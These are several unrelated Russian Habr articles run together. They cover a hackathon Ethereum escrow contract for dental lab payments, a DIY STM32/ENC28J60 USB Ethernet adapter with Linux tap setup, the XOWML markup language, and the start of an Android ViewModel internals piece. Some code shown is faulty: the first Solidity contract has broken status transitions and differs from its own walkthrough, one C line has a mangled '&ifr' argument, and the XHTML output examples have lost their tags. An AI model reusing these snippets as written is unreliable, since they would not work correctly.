Каждый этап оплачивается отдельно, но если на одном из этапов происходит ошибка, то все последующие этапы будут сделаны напрасно, хотя они уже оплачены. Казалось бы, исправить это просто: тестировать каждый этап и забыть о проблеме. Но, например, трудности выявляются на этапе установки продукта пациенту, а предыдущие этапы (сканирование, дизайн и фрезерование) уже оплачены. Это значит, что врач теряет деньги, время и нервы. Последние два пункта касаются также и пациента.
Логичным решением является создание многосторонних договоров, которые позволяют распределить ответственность между участниками CAD/CAM процесса. Здесь появляется огромный выбор различных стратегий выплат, например:
* врач выплачивает всем участникам только при успешной установке изделия;
* врач выплачивает участникам по очереди при подтверждении каждым участником предыдущего результата, можно добавить страхование, репутацию и так далее.
В итоге, сделки с несколькими активными сторонами могут быть по разному представлены, в зависимости от этого также будут ранжироваться цены на услуги.
Этот подход не был реализован ранее по нескольким причинам: создать такие формы сделок было невозможно из-за отсутствия регулятора оплат, а также из-за высокой сложности формулирования договоров с большим количеством оговорок.
Реализация идеи
---------------
Примечание: ниже представлен реальный код, написанный в рамках хакатона.
Проблему описанную выше можно решить с помощью смарт-контрактов: сложные схемы оплат упаковываются в кнопки «accept/decline/pay». Для регулировки всего процесса самым надежным решением будет система с блокчейн-архитектурой.
Так у команды был определенный бэкграунд в разработке и дизайне, для back-end был выбран фреймворк Ruby on Rails (RoR), для front-end – JavaScript-фреймворк AngularJS.
С написанием смарт-контрактов было немного сложнее, так как никто из участников ранее не сталкивался с подобной задачей. Поэтому была выбрана платформа Ethereum (инструмент для создания децентрализованных онлайн-сервисов на базе блокчейна) на основе Azure Blockchain as a Service. Смарт-контракты программировались на специальном языке Solidity.
Участники поделились двумя вопросами, которые возникли у них при работе с данным инструментом, и ответами на них.
**Где хранится контракт и кто обеспечивает его корректное исполнение?**
Когда смарт-контракт написан и отлажен, он помещается в цепочку блоков транзакций, и может быть проверен (но не изменен!) любым пользователем системы, если тот знает адрес по которому расположен этот смарт-контракт. Корректность самого смарт-контракта зависит от того, насколько корректно его написал программист. Если смарт-контракт был описан неверно, его нельзя исправить и придется поместить другой смарт-контракт по другому адресу.
**Какова цена создания смарт-контракта?**
Для создания смарт-контракта требуется израсходовать некоторое количество внутренней валюты (Eth), чем выше будет его цена, тем выше он получает приоритет у майнеров (это машины которых вычисляют криптоблоки). Майнеры нужны для того, чтобы смарт-контракт был обработан и добавлен в блокчейн. Если первый взнос будет минимальным, может возникнуть ситуация, в которой смарт-контракт никогда не будет размещен в глобальном блокчейне. Стоит обратить внимание, что также можно задать время жизни контракта.
#### Что нужно знать для работы с платформой Ethereum для клиентской стороны
Прежде всего, вам необходимо понять для какой платформы вы пишете. Как писали выше, в данном решении был использован фреймворк AngularJS, поэтому вся логика была помещена в контроллер, и там происходила вся работа с web3.js.
Примечание: в реальных условиях подобные операции лучше держать на защищенном сервере подальше от клиента.
Далее необходимо инициализировать подключение к программе для связи с блокчейном:
```
var Web3 = require('web3');
var web3 = new Web3();
web3.setProvider(new web3.providers.HttpProvider("http://адрес_сервера:8545"));
var accounts = web3.eth.accounts;
```
`accounts` – это все аккаунты, которые задействованы в программе подключения к блокчейну (в нашем случае, это **geth**).
Теперь нужна функция для того, чтобы узнать баланс подключенных токенов:
```
function getBalance(address){
var funds = web3.eth.getBalance(address);
return funds;
}
```
Попробуем оплатить что-нибудь через смарт-контракт по адресу **contractAddress**:
```
function pay (amount, myToken, password, token, contractAddress){
web3.personal.unlockAccount(myToken,password);
var contract = web3.eth.contract(abi).at(contractAddress);
var res = contract.initDoctor.sendTransaction(token, {from:myToken, value:web3.toWei(amount,'ether')});
alert("you dropped to system with token "+token);
}
```
Примечание: для простоты был задан пароль в виде plain text, но в реальной системе так делать нельзя.
Это основные функции, которые необходимо знать для вызова смарт-контрактов. Подробности можно узнать на официальном сайте [Ethereum](http://ethereum.org).
#### Что нужно знать для написания смарт-контракта на языке Solidity
Существуют онлайн-компиляторы, так и компиляторы смарт-контрактов, поставляемых Etherium. В данном проекте решили использовать [этот редактор](https://chriseth.github.io/browser-solidity/#version=soljson-latest.js), так как он достаточно удобный и быстрый.
Далее в блокчейне для написания смарт-контракта был использован код:
```
pragma solidity ^0.4.0;
contract Dental {
uint cadPrice = 10;
uint millPrice = 10;
uint digitizePrice = 10;
mapping (address => uint) doctor_balances;
mapping (address => uint) digitizer_balances;
mapping (address => uint) cad_balances;
mapping (address => uint) mill_balances;
mapping (address => uint) statuses;
//0 -start,
//1 - digitizer initialized,
//2 - cad initialized,
//3 - mill initialized,
//4 - digitizer ready,
//5 - cad_ready,
//6 - mill ready,
//7 -payed
mapping (address => address) digitizer_addresses;
mapping (address => address) cad_addresses;
mapping (address => address) mill_addresses;
function initDoctor() { //Загрузка денег
doctor_balances[ msg.sender ] += msg.value;
statuses[msg.sender] = 0;
}
function initDigitizer(address digitizerAddr) {
digitizer_addresses[msg.sender] = digitizerAddr;
digitizer_balances[msg.sender] += msg.value;
if (statuses[msg.sender] == 0) statuses[msg.sender] = 1;
}
function initCad(address cadAddr) {
cad_addresses[msg.sender] = cadAddr;
doctor_balances[ msg.sender ] -= cadPrice;
cad_balances[msg.sender] += msg.value;
if (statuses[msg.sender] == 1) statuses[msg.sender] = 1;
}
function initMill(address millAddr) {
mill_addresses[msg.sender] = millAddr;
mill_balances[msg.sender] += msg.value;
if (statuses[msg.sender] == 2) statuses[msg.sender] = 3;
}
function digitizerDone() {
if (statuses[msg.sender]==3) statuses[msg.sender] = 4;
}
function cadDone() {
if (statuses[msg.sender]==4) statuses[msg.sender] = 5;
}
function millDone() {
if (statuses[msg.sender]==5) statuses[msg.sender] = 6;
}
function doctorDone(bool happy) payable returns (bool) {
if (statuses[msg.sender]!=6) return false;
if (!happy){
doctor_balances[msg.sender] += digitizer_balances[msg.sender];
doctor_balances[msg.sender] += cad_balances[msg.sender];
doctor_balances[msg.sender] += mill_balances[msg.sender];
digitizer_balances[msg.sender] = 0;
cad_balances[msg.sender] = 0;
mill_balances[msg.sender] = 0;
return false;
}
bool digitizerOk = digitizer_addresses[msg.sender].send(digitizer_balances[msg.sender]);
digitizer_balances[msg.sender] = 0;
bool cadOk = cad_addresses[msg.sender].send(cad_balances[msg.sender]);
cad_balances[msg.sender] = 0;
bool millOk = mill_addresses[msg.sender].send(mill_balances[msg.sender]);
mill_balances[msg.sender] = 0;
return (digitizerOk && cadOk && millOk);
}
}
```
Разберем его подробнее:
1. Сначала указываем версию Solidity и объявляем контракт:
```
pragma solidity ^0.4.0;
contract Dental {
```
2. задаем стоимость услуг 3D-сканирования, дизайна и фрезерования:
```
uint cadPrice = 10;
uint millPrice = 10;
uint digitizePrice = 10;
```
3. Создаем массивы балансов для оплаты участников процесса:
```
mapping (address => uint) doctor_balances;
mapping (address => uint) digitizer_balances;
mapping (address => uint) cad_balances;
mapping (address => uint) mill_balances;
```
4. Указываем статусы:
```
mapping (address => uint) statuses;
//0 - start,
//1 - digitizer initialized,
//2 - cad initialized,
//3 - mill initialized,
//4 - digitizer ready,
//5 - cad_ready,
//6 - mill ready,
//7 -payed
```
5. Создаем массивы аккаунтов участников процесса (без врачей):
```
mapping (address => address) digitizer_addresses;
mapping (address => address) cad_addresses;
mapping (address => address) mill_addresses;
```
6. Инициализируем врача, им будет считаться отправитель. Обратите внимание, что он может брать новые заказы, только если у него указан статус «еще не начал» или «заказ завершен»:
```
function initDoctor() { //Загрузка денег
if (statuses[msg.sender] == 0 || statuses[msg.sender] == 7){
doctor_balances[ msg.sender ] = msg.value;
statuses[msg.sender] = 0;
}
}
```
7. Инициализируем сканировщика, который будет задействован, если у врача стоит статус «еще не начал»:
```
function initDigitizer(address digitizerAddr) {
digitizer_addresses[msg.sender] = digitizerAddr;
digitizer_balances[msg.sender] = msg.value;
if (statuses[msg.sender] == 0) statuses[msg.sender] = 1;
}
```
8. Аналогично повторяем с дизайном:
```
function initCad(address cadAddr) {
cad_addresses[msg.sender] = cadAddr;
doctor_balances[ msg.sender ] -= cadPrice;
cad_balances[msg.sender] = msg.value;
if (statuses[msg.sender] == 1) statuses[msg.sender] = 2;
}
```
9. Аналогично повторяем с фрезеровщиком:
```
function initMill(address millAddr) {
mill_addresses[msg.sender] = millAddr;
mill_balances[msg.sender] += msg.value;
if (statuses[msg.sender] == 2) statuses[msg.sender] = 3;
}
```
10. Далее подтверждаем работу сканировщика:
```
function digitizerDone() {
if (statuses[msg.sender]==3) statuses[msg.sender] = 4;
}
```
11. Подтверждаем работу дизайнера:
```
function cadDone() {
if (statuses[msg.sender]==4) statuses[msg.sender] = 5;
}
```
12. Подтверждаем работу фрезеровщика:
```
function millDone() {
if (statuses[msg.sender]==5) statuses[msg.sender] = 6;
}
```
13. Врач может принять или не принять работу. В последнем случае все деньги будут возвращены на его счет. ). Если работа еще не отфрезерована, то ничего не происходит. Если врач принимает работу, деньги отправляются на счета участников:
```
function doctorDone(bool happy) payable returns (bool) {
if (!happy){
doctor_balances[msg.sender] += digitizer_balances[msg.sender];
doctor_balances[msg.sender] += cad_balances[msg.sender];
doctor_balances[msg.sender] += mill_balances[msg.sender];
digitizer_balances[msg.sender] = 0;
cad_balances[msg.sender] = 0;
mill_balances[msg.sender] = 0;
return true;
}
if (statuses[msg.sender]!=6) return false;
bool digitizerOk = digitizer_addresses[msg.sender].send(digitizer_balances[msg.sender]);
digitizer_balances[msg.sender] = 0;
bool cadOk = cad_addresses[msg.sender].send(cad_balances[msg.sender]);
cad_balances[msg.sender] = 0;
bool millOk = mill_addresses[msg.sender].send(mill_balances[msg.sender]);
mill_balances[msg.sender] = 0;
if (digitizerOk && cadOk && millOk) statuses[msg.sender]=7;
return (digitizerOk && cadOk && millOk);
}
}
```
Слово команде проекта Digital Dentistry Exchange
------------------------------------------------
Мы спросили участников проекта, какое будущее они видят у технологии блокчейн:
«Технология блокчейн – потенциально самая подходящая технология для проведения транзакций любых типов, начиная от финансовых услуг заканчивая приготовлением еды. Единственным дополнением к блокчейну должен быть доработанный механизм proof-of-work, который будет приносить пользу людям или науке (например, давняя задача поиска целых значений параметров a,b,c в выражении a^3+b^3+c^3=33).
На данный момент система блокчейна может быть идеально интегрирована в систему оказания услуг, где результаты могут быть измерены (комплексные услуги в медицине, производстве, онлайн-продажах или достижение определенных метрик и, возможно, судебная арбитражная система).
Количество возможных приложений может быть огромным – главное тестировать идеи, реализации и активно их внедрять. Также было бы не лишним внедрение правового регулирования и ISO стандарта систем с архитектурой блокчейн.»
На фотографии ниже авторы материала: Константин Скобельцын, Виталий Дементьев, Ринат Хатипов, Айдар Нигматжанов, Роман Варнава.
 | https://habr.com/ru/post/313130/ | null | ru | null |
# Делаем из ENC28J60 внешнюю USB сетевую карту
ENC28J60 - простой Ethernet контроллер, который может выступать в роли внешней сетевой карты у одноплатных компьютеров с GPIO (для raspberry есть даже готовый драйвер) и прочих ардуин. У моего лэптопа GPIO не выведены, попробуем ~~исправить этот недостаток и~~ прикрутить к нему ENC28J60 посредством STM32F103 и шнурка USB.
Давайте посмотрим, как это можно сделать.
Нам понадобится:
* ENC28J60
* Отладочная плата с STM32 с поддержкой USB device (например, вот такая):
* Компьютер с Linux (я использую Ubuntu 16)
* Второй компьютер с Ethernet для тестирования соединения (у меня raspberry pi), подключенный по wi-fi (и в одной локальной сети с первым)
Настройку STM32F103 описывать не буду, мануалов в сети хватает. Как и программирование самого ENC28J60 (в своем примере я использовал вот этот код c минимальными модификациями). Подключение ENC28J60 к STM32F103 по SPI1 описано [там же](https://narodstream.ru/stm-urok-68-lan-enc28j60-chast-1/).
### Соединение
Компьютер (usb) -> stm32(SPI) -> ENC28J60(Ethernet кабель) -> raspberry
### Как все работает
Обойдемся без написания драйверов ядра, будем работать в user space. На компьютере создадим виртуальный сетевой tap интерфейс (второго уровня, с заголовками Ethernet фреймов, есть еще tun интерфейсы, которые работают только с ip пакетами), к которому подсоединим нашу программу (назовем ее tap\_handler.c*).* Чтобы фрейм попал в сетевой стек Linuxа, tap\_handler'у достаточно записать его в tap интерфейс. Ну и наоборот, пакеты, адресованные tap интерфейсу, будут читаться tap\_handler'ом, который может с ними что-то дальше сделать. В итоге, tap\_handler бегает в бесконечном цикле и ждет появления данных либо со стороны tap интерфейса, либо со стороны /dev/ttyACM0 (это представление нашего USB девайса в Linuxе). В первом случае полученные данные пишем в /dev/ttyACM0, во втором в tap интерфейс.
Более подробно про работу с виртуальными интерфейсами написано [здесь](https://backreference.org/2010/03/26/tuntap-interface-tutorial/) (для демонстрации работы vpn). Отсюда же я взял код, отвечающий за работу с виртуальными интерфейсами.
На STM32 при помощи CubeMX подключаем библиотеки для работы с USB CDC (virtual com port). После подключения SMT32 к компу Linux создаст файл /dev/ttyACM0 (ну или другой номер). Из этого файла можно прочитать данные, которые нам отправил STM32, а если записать туда данные, их сможет прочитать STM32.
Прошивка STM32 работает аналогично. В бесконечном цикле читаем данные с компа (функция `CDC_Receive_FS` в файле usbd\_cdc\_if.c) и записываем их в ENC28J60, который уже передает их дальше в сеть, а также считываем фреймы из ENC28J60 и направляем их в комп функцией `CDC_Transmit_FS`.
Насколько я понимаю, CDC должен передавать данные без ошибок. Однако я столкнулся с тем, что ошибки все же есть. Более того, первый пакет обычно всегда дублируется (причину я не нашел, дубляж виден в том числе в wireshark при прослушивании шины usb). Гуглеж показал, что у кого-то это происходило из-за использования неподабающего генератора частоты на STM32, что вряд ли является причиной проблемы в моем случае, т.к. я просто использовал внешний кварц. Поэтому и пришлось городить огород с метками.
### Работа со стороны компа
Сетевой интерфейс создаем командой:
```
sudo openvpn --mktun --dev tap0
```
Присваиваем ip адрес:
```
sudo ifconfig tap0 10.0.0.1/24 up
```
#### tap\_handler.с
Для правильной работы с /dev/ttyACM0 нужно передавать данные в raw виде и не давать драйверу терминала вносить в них изменения (например, считать нетекстовые данные управляющими символами и пр.). Настройка терминала:
```
char cdc_name[20]="/dev/ttyACM0";
int tty_fd = open(cdc_name, O_RDWR | O_NOCTTY);
struct termios portSettings;
tcgetattr(tty_fd, &portSettings);
cfmakeraw(&portSettings);
tcsetattr(tty_fd, TCSANOW, &portSettings);
tcflush(tty_fd, TCOFLUSH);
```
Подключаем tap\_handler к tap0:
```
/* в dev передаем имя уже созданного интерфейса tap0*/
int tun_alloc(char *dev, int flags) {
struct ifreq ifr;
int fd, err;
char *clonedev = "/dev/net/tun";
/* отталкиваемся от устройства /dev/net/tun */
if( (fd = open(clonedev , O_RDWR)) < 0 ) {
perror("Opening /dev/net/tun");
return fd;
}
memset(𝔦, 0, sizeof(ifr));
ifr.ifr_flags = flags;
/* используем уже созданный tap0 */
if (*dev) {
strncpy(ifr.ifr_name, dev, IFNAMSIZ);
}
/* подсоединяемся к интерфейсу */
if( (err = ioctl(fd, TUNSETIFF, (void *)𝔦)) < 0 ) {
perror("ioctl(TUNSETIFF)");
close(fd);
return err;
}
strcpy(dev, ifr.ifr_name);
return fd;
}
```
Вызываем эту функцию в main.c следующим образом:
```
strcpy(tun_name, "tap0");
int tap_fd = tun_alloc(tun_name, IFF_TAP | IFF_NO_PI);
```
Флаг IFF\_TAP указывает на тип интерфейса (tap). Флаг IFF\_NO\_PI нужен, чтобы ядро не добавляло префиксные байты перед началом пакета.
Проверяем наличие данных в tap0 и в /dev/ttyACM0. Пока данных нет, tap\_handler находится в блокирующем select:
```
while(1) {
int ret;
fd_set rd_set;
FD_ZERO(&rd_set);
/* tap_fd - tap inteface descriptor */
FD_SET(tap_fd, &rd_set);
/* tty_fd - /dev/ttyACM0 descriptor */
FD_SET(tty_fd, &rd_set);
ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL);
```
После получения данных проверяем источник. При получении фрейма от tap0 tap\_handler формирует пакет для STM32 (структура пакета: пакет начинается с метки - определенных 4 байт, чтобы идентифицировать начало фрейма, следующие 2 байта - длина фрейма, затем уже сам фрейм) и записывает его в /dev/ttyACM0. Затем небольшая задержка, чтобы данные прошли успешно:
```
if(FD_ISSET(tap_fd, &rd_set)) {
uint16_t nread = cread(tap_fd, buffer, BUFSIZE);
uint8_t buf[6];
*(uint32_t *)buf = PACKET_START_SIGN;
*(uint16_t *)(buf + 4) = nread;
cwrite(tty_fd,(char *)buf,6);
cwrite(tty_fd, buffer, nread);
delay_micro(delay_m);
}
```
Если есть данные в /dev/ttyACM0, убеждаемся что они начинаются с правильной метки (те же 4 байта), затем считываем длину фрейма, и потом сам фрейм. Полученный фрейм записываем в tap интерфейс:
```
if(FD_ISSET(tty_fd, &rd_set)) {
uint32_t sign;
/* считываем метку */
int nread = read_n(tty_fd, (char *)&sign, sizeof(sign));
/* дескриптор закрыт, выходим из программы */
if(nread == 0) {
break;
}
/* если не совпадает, пытаемся найти подпись в следующих 4 байтах */
if(sign != PACKET_START_SIGN){
continue;
}
/* читаем длину фрейма */
nread = read_n(tty_fd, (char *)&plength, 2);
if(nread == 0) {
break;
}
if (nread != 2){
continue;
}
/* здесь обрабатываем ситуацию, когда после запуска программы первый пакет дублируется */
if(flag){
flag = 0;
nread = cread(tty_fd, buffer, sizeof(buffer));
if(nread != 6){
continue;
}
}
/* слишком большая длина пакета, заканчиваем программу */
if(plength > BUFSIZE){
break;
}
/* читаем фрейм (plength байт) и пишем его в tap interface*/
nread = read_n(tty_fd, buffer, plength);
if (nread != 0){
cwrite(tap_fd, buffer, nread);
delay_micro(delay_m);
}
}
```
### Со стороны STM32
Кроме USB CDC в CubeMX подключим также HAL драйверы для работы с SPI1 и светодиодом.
Прием данных выполняется в callback'е `CDC_Receive_FS` (файл usbd\_cdc\_if.c), запуск которого инициируется прерываниями в библиотеке USB. В этом месте нельзя ставить долгоиграющие операции, поэтому пришедшие данные копируем в кольцевой буфер, из которого забираем их в основном цикле и отправляем наружу через ENC28J60. При риске переполнения буфера данные отбрасываются:
```
/* USB_POINTERS_ARRAY_SIZE - размер array_pos */
/* MAX_FRAMELEN - максимальная длина фрейма */
/* USB_BUFSIZE - размер кольцевого буфера */
extern uint8_t usb_buf[]; /* кольцевой буфер для полученных от компа данных */
extern uint32_t pos_int; /* индекс для размещения следующего пакета в кольцевом буфере */
extern uint32_t array_pos[]; /* кольцевой массив из индексов, которые указывают на полученные пакеты в кольцевом буфере */
extern uint32_t p_a; /* индекс следующей записи в array_pos для CDC_Receive_FS*/
extern uint32_t pl_a;/* индекс следующей записи в array_pos у основного потока */
/* USB_POINTERS_ARRAY_SIZE - размер array_pos */
/* MAX_FRAMELEN - максимальная длина фрейма */
/* USB_BUFSIZE - размер кольцевого буфера */
static int8_t CDC_Receive_FS(uint8_t* Buf, uint32_t *Len)
{
int8_t memok = 1;
/* отбрасываем пришедшие данные, если не хватает места в кольцевом буфере */
if( pl_a !=0 && p_a !=0){
int32_t mem_lag = array_pos[(p_a - 1) % USB_POINTERS_ARRAY_SIZE] - array_pos[(pl_a - 1) % USB_POINTERS_ARRAY_SIZE];
if(mem_lag > USB_BUFSIZE - MAX_FRAMELEN)
memok = 0;
}
/* Копируем поступившие данные в кольцевой буфер,
обновляем массив индексов пришедших пакетов (array_pos) */
if(*Len < USB_BUFSIZE && *Len != 0 && memok){
uint16_t offset = pos_int % USB_BUFSIZE;
uint16_t new_pos = offset + *Len;
uint8_t split = 0;
if (new_pos > USB_BUFSIZE){
split = 1;
}
if(split){
int len1 = USB_BUFSIZE - offset;
int len2 = *Len - len1;
memcpy(usb_buf + offset, Buf, len1);
memcpy(usb_buf, Buf + len1, len2);
}
else
memcpy(usb_buf + offset, Buf, *Len);
pos_int += *Len;
array_pos[p_a % USB_POINTERS_ARRAY_SIZE] = pos_int;
p_a++;
}
USBD_CDC_SetRxBuffer(&hUsbDeviceFS, &Buf[0]);
USBD_CDC_ReceivePacket(&hUsbDeviceFS);
return (USBD_OK);
}
```
В основном потоке (main.c) смотрим на наличие данных в буфере и отправляем их через ENC28J60:
```
if(pl_a < p_a){
uint32_t prev = 0;
if(pl_a > 0)
prev = array_pos[(pl_a - 1) % USB_POINTERS_ARRAY_SIZE];
/* размер пакета (кусочек фрейма), принятого в CDC_Receive_FS */
int32_t n = array_pos[pl_a % USB_POINTERS_ARRAY_SIZE] - prev;//usb frame size
/* указатель на пакет в буфере */
uint8_t *from = usb_buf + prev % USB_BUFSIZE;
/* признак корректности пакета */
uint8_t right_n = 1;
if (n < 0 || n > MAX_FRAMELEN){
right_n = 0;
}
/* проверка на новый фрейм. В пакете должно быть минимум 6 байтов (подпись 4 байта и 2 байта длина) */
if((packet_len == 0) && packet_start && (n > 5) && right_n){
/* спец. функция для чтения из кольцевого буфера */
uint32_t sign = read32(from,usb_buf);
/* получаем указатель на данные через 4 байта */
uint8_t *next = next_usb_ptr(from,usb_buf,4);
/* читаем размер фрейма */
packet_size = read16(next,usb_buf);// 2 bytes after sign is packet length
/* отбрасываем неправильный пакет */
if (packet_size > MAX_FRAMELEN || sign != PACKET_START_SIGN){
packet_size = 0;
}
else{
/* копируем принятый пакет данных в буфер фрейма */
next = next_usb_ptr(from,usb_buf,6);
copy_buf(packet_buf, next, usb_buf, n - 6);
packet_len = n - 6;
packet_next_ptr = packet_buf + packet_len;
packet_start = 0;
}
}
/* обрабатываем последующие пакеты в фрейме */
else if(packet_len < packet_size && right_n){
/* копируем принятый пакет данных в буфер фрейма */
copy_buf(packet_next_ptr, from, usb_buf, n);
packet_len += n;
packet_next_ptr = packet_buf + packet_len;
}
/* отбрасываем ошибочный фрейм */
else if (packet_len > packet_size){
packet_len = 0;
packet_start = 1;
}
/* отправляем фрейм через enc28j60 */
if(packet_len == packet_size && packet_size > 0){
enc28j60_packetSend(packet_buf, packet_size);
packet_len = 0;
packet_start = 1;
}
pl_a++;
}
```
а также проверяем наличие данных в ENC28J60 и при наличии отправляем их в USB и мигаем светодиодом:
```
len = enc28j60_packetReceive(net_buf,sizeof(net_buf));
if (len > 0) {
*((uint16_t*)(sign_buf + 4)) = len;
while(CDC_Transmit_FS(sign_buf, sizeof(sign_buf)) == USBD_BUSY_CDC_TRANSMIT);
while(CDC_Transmit_FS(net_buf, len) == USBD_BUSY_CDC_TRANSMIT);
HAL_GPIO_TogglePin(GPIOC, GPIO_PIN_13);
}
```
В `CDC_Transmit_FS`я немного изменил код, чтобы функцию можно было поместить в while. В этом месте `CDC_Transmit_FS` возвращаем новый статус `USBD_BUSY_CDC_TRANSMIT` вместо просто `USBD_BUSY`. Без изменений узнать приняты ли данные к отправке мне не удалось:
```
if (hcdc->TxState != 0){
return USBD_BUSY_CDC_TRANSMIT;
}
```
В функции инициализации ENC28J60 `enc28j60_ini` нужно разрешить принимать и передавать любые фреймы, не только адресованные ему (promiscuous mode):
```
enc28j60_writeRegByte(ERXFCON,0);
```
### Настройка и проверка
#### Raspberry
Поднимаем eth0 и устанавливаем ip адрес. Запускаем ping
```
sudo ifconfig eth0 up 10.0.0.2/24
ping 10.0.0.2
```
В другом окне можно и tcpdump:
```
sudo tcpdump -i eth0
```
#### Комп
Подсоединяем прошитый STM32 к компу, соединяем ENC28J60 сетевым кабелем с raspberry. На STM32 начинает мигать светодиод, показывая приход arp / icmp пакетов (от ping). Убеждаемся, что появился /dev/ttyACM0:
```
ls /dev/ttyACM*
```
Компилируем и запускаем tap\_handler:
```
gcc tap_handler.c -o tap_handler
./tap_handler
```
tap\_handler запускает всю цепочку - подхватывает приходящие пакеты от raspberry, адресует их tap0, получает от него фрейм в ответ, шлет его STM32, когда фрейм доходит до raspberry мы видим, что пинги начинают проходить.
### Делаем интернет на компе
Если пинги проходят проверяем работу нашей сетевой карты.
#### Комп
Я подсоединился к raspberry по ssh через wi-fi и управляю им с компа, соединение нам терять не стоит, поэтому просто меняем default gateway. Браузер перестает работать, но соединение с raspberry не теряется:
```
sudo route del default gateway 192.168.1.1
sudo route add default gateway 10.0.0.2
```
Может потребоваться корректировка DNS сервера (в /etc/resolv.conf нужно прописать в качестве nameserver, например, 8.8.8.8).
#### Raspberry
Разрешаем переход пакетов из eth0 в wlan0 и включаем NAT:
```
echo 1 | sudo tee -a /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
```
Проверяем комп. Интернет должен появиться, правда небыстрый (у меня 0.5 Мбит/с).
Можно не заморачиваться с raspberry, а напрямую подсоединить сетевой провод от рутера в ENC28J60 (нужно отключить wi-fi на компе и задать правильный адрес tap0). Но тестировать проще с raspberry, в tcpdump видно все что происходит.
### Зачем все это
Использовать такую связку в жизни наверно не очень удобно (особенно при наличии недорогих usb ethernet адаптеров в продаже), но сделать ее было очень интересно. Спасибо за внимание. [Ссылка](https://github.com/dsoastro/stm32_usb_eth_card) на код (проект в Atollic TrueStudio). | https://habr.com/ru/post/530730/ | null | ru | null |
# XOWML, который преобразуется в XHTML
XOWML, — новый язык разметки, разработанный в студии Onlyweb. Читается, — хоумл.
Язык имеет единственное предназначение, — дать XHTML верстальщику возможность **быстро и эффективно писать валидный XHTML код**. Т.е. работает это так: пишешь код в XOWML, нажимаешь сохранить, автоматически появляется .html файл, его можно просматривать в браузере.
Вот первые примеры XOWML:
```
.BriefDescription{{
.Image{%img src="images/elephant.jpg" width="240" height="181"{}}
.Description{
.Date{10 августа}
%p{В этой плашке пишем краткую аннотацию, о статье.
Это позволит поситителям сайта понимать о чём идёт речь.}
%p{Надо сразу определится и размерами фотографии.
Необходимо жёстко зафиксировать ширину (я предлогаю использовать ту что сейчас)
а высота фото может меняться без ущерба для внешнего вида страницы.
А без фото на внутренних будет плохо — изначально дизайн соориентирован
на получ. инф. и быстрый прогруз.}
%a href="#"{читать полностью...}
}
.Clear{}
}}
```
Преобразуется в XHTML код:
```
10 августа
В этой плашке пишем краткую аннотацию, о статье.
Это позволит поситителям сайта понимать о чём идёт речь.
Надо сразу определится и размерами фотографии.
Необходимо жёстко зафиксировать ширину (я предлогаю использовать ту что сейчас)
а высота фото может меняться без ущерба для внешнего вида страницы.
А без фото на внутренних будет плохо —
изначально дизайн соориентирован на получ. инф. и быстрый прогруз.
[читать полностью...](#)
```
Т.е. запись `%p.Preved{content}` означает `content`.
А
```
#news_archive{
.News{%p{новость}}
}
```
преобразуется в
```
новость
```
Осталось только написать ПО, и продумать как в XOWML вставлять Ruby-код (для любителей др. языков, — PHP-код, Smarty-код или что-то ещё).
По моему, хорошая идея. | https://habr.com/ru/post/13723/ | null | ru | null |
# Retain внутри, а снаружи ViewModel
В какой-то момент я заметил периодические разговоры о том, как же на самом деле работает [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel) из гугловых архитектурных компонентов. Осознав, что и сам не понимаю до конца полез в интернеты и с удивлением обнаружил, что есть невероятное количество одинаковых статей о том как готовить ViewModel, дружить ее с LiveData, присунуть ей зависимости через Dagger, совокуплять с RxJava и других тайтлов различной степени полезности, однако нет почти ничего о том, что вообще происходит внутри. Так что попробую ликвидировать пробел сам.
### Внимание
TL;DR если жалко времени — мотайте вниз до вывода, мало что потеряете.
Итак первое, на что можно обратить внимание — есть 2 разных пакета архитектурных компонентов с ViewModel, а именно:
1) Старенький **android.arch.lifecycle**
2) Новый **androidx.lifecycle**
**Спойлер**: особой разницы между ними нет.
Вся работа кроется за вызовом:
```
ViewModelProviders.of(activity).get(MyViewModel::class.java)
```
Начнем с метода of
```
public static ViewModelProvider of(@NonNull FragmentActivity activity) {
return of(activity, null);
}
public static ViewModelProvider of(@NonNull FragmentActivity activity,
@Nullable Factory factory) {
Application application = checkApplication(activity);
if (factory == null) {
factory = ViewModelProvider.AndroidViewModelFactory.getInstance(application);
}
return new ViewModelProvider(ViewModelStores.of(activity), factory);
}
```
checkApplication просто проверяет на null, а AndroidViewModelFactory является просто потоконебезопасным синглтоном который хранит у себя Application. Так что особого интереса они не представляют, самое интересное в методе ViewModelStores.of:
```
public static ViewModelStore of(@NonNull FragmentActivity activity) {
if (activity instanceof ViewModelStoreOwner) {
return ((ViewModelStoreOwner) activity).getViewModelStore();
}
return holderFragmentFor(activity).getViewModelStore();
}
```
На первый взгляд выглядит довольно странно — зачем вообще проверка на наличие интерфейса ViewModelStoreOwner у FragmentActivity если он **и так его имплементит**? — Так было не всегда — до далекого февраля 2018 года, когда вышла версия **Support library 27.1.0**, FragmentActivity ни разу не имплементил ViewModelStoreOwner. При этом ViewModel вполне себе работала.
Так что начнем со старого кейса — запускался метод holderFragmentFor:
```
public static HolderFragment holderFragmentFor(FragmentActivity activity) {
return sHolderFragmentManager.holderFragmentFor(activity);
}
```
Далее просто доставался или создавался новый holder фрагмент:
```
HolderFragment holderFragmentFor(FragmentActivity activity) {
FragmentManager fm = activity.getSupportFragmentManager();
HolderFragment holder = findHolderFragment(fm);
if (holder != null) {
return holder;
}
holder = mNotCommittedActivityHolders.get(activity);
if (holder != null) {
return holder;
}
if (!mActivityCallbacksIsAdded) {
mActivityCallbacksIsAdded = true;
activity.getApplication().registerActivityLifecycleCallbacks(mActivityCallbacks);
}
holder = createHolderFragment(fm);
mNotCommittedActivityHolders.put(activity, holder);
return holder;
}
```
Ну а сам HolderFragment конечно же **retained**
```
public HolderFragment() {
setRetainInstance(true);
}
```
Собственно в нем и хранится объект **ViewModelStorе**, который в свою очередь держит в себе пачку ViewModel:
```
public class ViewModelStore {
private final HashMap mMap = new HashMap<>();
final void put(String key, ViewModel viewModel) {
ViewModel oldViewModel = mMap.put(key, viewModel);
if (oldViewModel != null) {
oldViewModel.onCleared();
}
}
final ViewModel get(String key) {
return mMap.get(key);
}
public final void clear() {
for (ViewModel vm : mMap.values()) {
vm.onCleared();
}
mMap.clear();
}
}
```
Возратимся назад к случаю, когда версия Support library 27.1.0 и выше. FragmentActivity уже реализует интерфейс ViewModelStoreOwner, то есть имплементит единственный метод getViewModelStore:
```
public ViewModelStore getViewModelStore() {
if (this.getApplication() == null) {
throw new IllegalStateException("Your activity is not yet attached to the Application instance. You can't request ViewModel before onCreate call.");
